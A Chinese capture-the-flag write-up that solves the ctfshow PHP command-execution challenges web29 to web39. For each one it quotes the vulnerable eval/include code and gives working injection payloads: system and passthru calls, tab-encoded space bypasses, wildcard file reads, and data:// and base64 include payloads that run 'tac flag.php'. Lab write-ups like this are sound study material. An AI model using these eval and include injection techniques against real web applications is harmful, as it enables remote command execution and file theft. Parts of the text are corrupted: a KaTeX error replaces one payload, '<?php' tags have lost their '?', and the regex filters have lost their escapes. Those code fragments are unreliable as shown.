小结
部分php函数:
一、命令执行函数(能够执行操作系统命令行指令的函数)
1、system():在 PHP 中,system()
函数用于执行一个外部程序,并且可以显示输出结果。这个函数会返回最后一行的输出,或者在没有输出时返回 null
。
2、passthru():在 PHP 中,passthru()
函数用于执行一个外部程序,并且可以显示命令的原始输出。
3、其他(没有回显的命令执行函数,需要echo输出)
二、代码执行函数(能够执行代码片段的函数)
eval():在 PHP 中,eval()
函数是一个语言结构,用于执行字符串作为 PHP 代码。eval要以分号结尾,传入的参数必需为php代码
参考博客:PHP常见的命令执行函数与代码执行函数_php命令执行函数-CSDN博客
三、正则表达式匹配函数
preg_match():PHP 中用于执行正则表达式匹配的函数。它检查给定的字符串是否符合特定的模式(正则表达式)(可添加修饰符i,表示不区分大小写),如果匹配成功,返回 1
;如果匹配失败,则返回 0
。如:preg_match("/flag/i", c ) ,如果变量 c),如果变量 c),如果变量c中含flag(不论大小写),则返回1
用到的Linux命令
1、ls:列出当前路径下的文件及文件夹
2、cat:从第一行向下显示文件内容
3、tac:与cat相反,从最后一行向上显示文件内容
参考博客:Linux 常用命令最全总结大全【推荐收藏】_linux常用命令-CSDN博客
绕过方式:
一、空格绕过
%20 --代表url编码的空格,在空格过滤时可以代替。
%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。
%0a--代表换行符
%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。
%0d--回车换行
%a0--代表的是非断行空格
%00--%00代表的是ASCII码中的空字符
参考博客:常见绕过方法总结_空格绕过-CSDN博客
二、通配符绕过
通配符*:用于匹配文件名或路径中的任意字符序列,可以匹配任意数量的字符,包括零个字符。它通常在命令行和文件操作中使用,以指定多个文件或目录。
三、直接执行系统命令
命令执行函数并没有被过滤,可以尝试直接执行系统命令
四、内敛执行
将``或$()内命令的输出作为输入执行,在php中,反引号作用和system类似,这种语法类似于在 shell 中执行命令。
如:echo `ls`,列出目录内容
五、利用参数逃逸
1、eval():"c=eval(KaTeX parse error: Undefined control sequence: \[ at position 6: \_GET\̲[̲1\]);&1=system(..._GET[1],作为eval()的参数执行
2、include():
a、php://filter:
利用PHP 的 include
函数和 php://filter
流包装器来实现任意文件读取和内容编码。如:"c=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php":这里使用 php://filter
流包装器读取 flag.php
文件的内容,并使用 convert.base64-encode
过滤器对内容进行 Base64 编码。这样,flag.php
的内容被编码为 Base64 字符串,并通过 include
函数包含进来,从而可以绕过某些对直接文件内容执行的限制。
b、data://:利用PHP 的include
函数和 data://
协议来执行一个包含 PHP 代码的字符串。如:"c=include$_GET[1];&1=data://text/plain,<php system('tac flag.php');>":data://
协议允许在 URL 中直接嵌入数据,这里嵌入的是一段 PHP 代码。这段代码通过 system
函数执行了一个命令,该命令试图读取flag.php的文件的内容
参考博客:PHP伪协议详解-CSDN博客
web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
本题过滤了flag
先构造payload:"url/c=system('ls');",得到
flag大概率在flag.php中,要查看flag.php中的内容,利用通配符*
构造payload:"url/c=system('tac f*');"
小结中其他绕过方法也能够得到flag
web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比上一题多过滤了:system、php
仿照上一题,将system()替换成passthru()即可,得到flag
web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比上一题多过滤了:cat、sort、shell、"."(分隔符)、" "(空格)、" ' "(英文单引号)
构造payload:url/c=passthru("tac%09f*");,即可得到flag
这里用到了空格绕过,"%09":是制表符(Tab)的 URL 编码
web32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比上一题多过滤了:" ` "(反引号)、echo、";"(分号)、"("
可以用php://filter或data://,这里用后者
先构造payload:url/c=include$_GET[1]>&1=data://text/plain, <php system('ls');>,得到
再构造payload:url/c=include$_GET[1]>&1=data://text/plain, <php system('tac flag.php');>,得到
这里用">"代替了";"(分号)
web33
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
用web32的payload即可
这里再其他人的wp中看到,php中两种包含外部文件的方式,reqiure和include,及其区别:如果文件不存在或发生了错误,require产生E_COMPILE_ERROR级别的错误,程序停止运行。而include只产生警告,脚本会继续执行。
将web32中的payload的中的include换成reqiure也能得到flag
参考博客:ctfshow-web入门------命令执行(1)(web29-web40)_ctfshwo web入门命令执行-CSDN博客
web34
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了引号
继续使用web32中的payload即可得到flag
web35
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"|<|=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了<(左尖括号)、=
继续使用web32的payload
web36
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(|:|"|<|=|/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多过滤了数字0到9,对web32的payload稍做修改:
url/c=include$_GET[a]>&a=data://text/plain, <php system('tac flag.php');>
web37
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里有include,直接构造payload:url/c=data://text/plain, <php system('tac f*');>(这里要注意flag被过滤了)
web38
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了php,使得web37的payload不能直接使用,可以用base64编码
payload:url/c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
这里也能用短标签
payload:url/c=data://text/plain, <= system('tac f*');>
web39
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了flag,再include中多了一个字符串连接符,但是仍然可以使用data伪协议,data://text/plain相当于执行了php语句,至于.php,由于前面的语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,就不再起作用了
直接用web38的payload即可
参考博客:ctfshow-web入门------命令执行(1)(web29-web40)_ctfshwo web入门命令执行-CSDN博客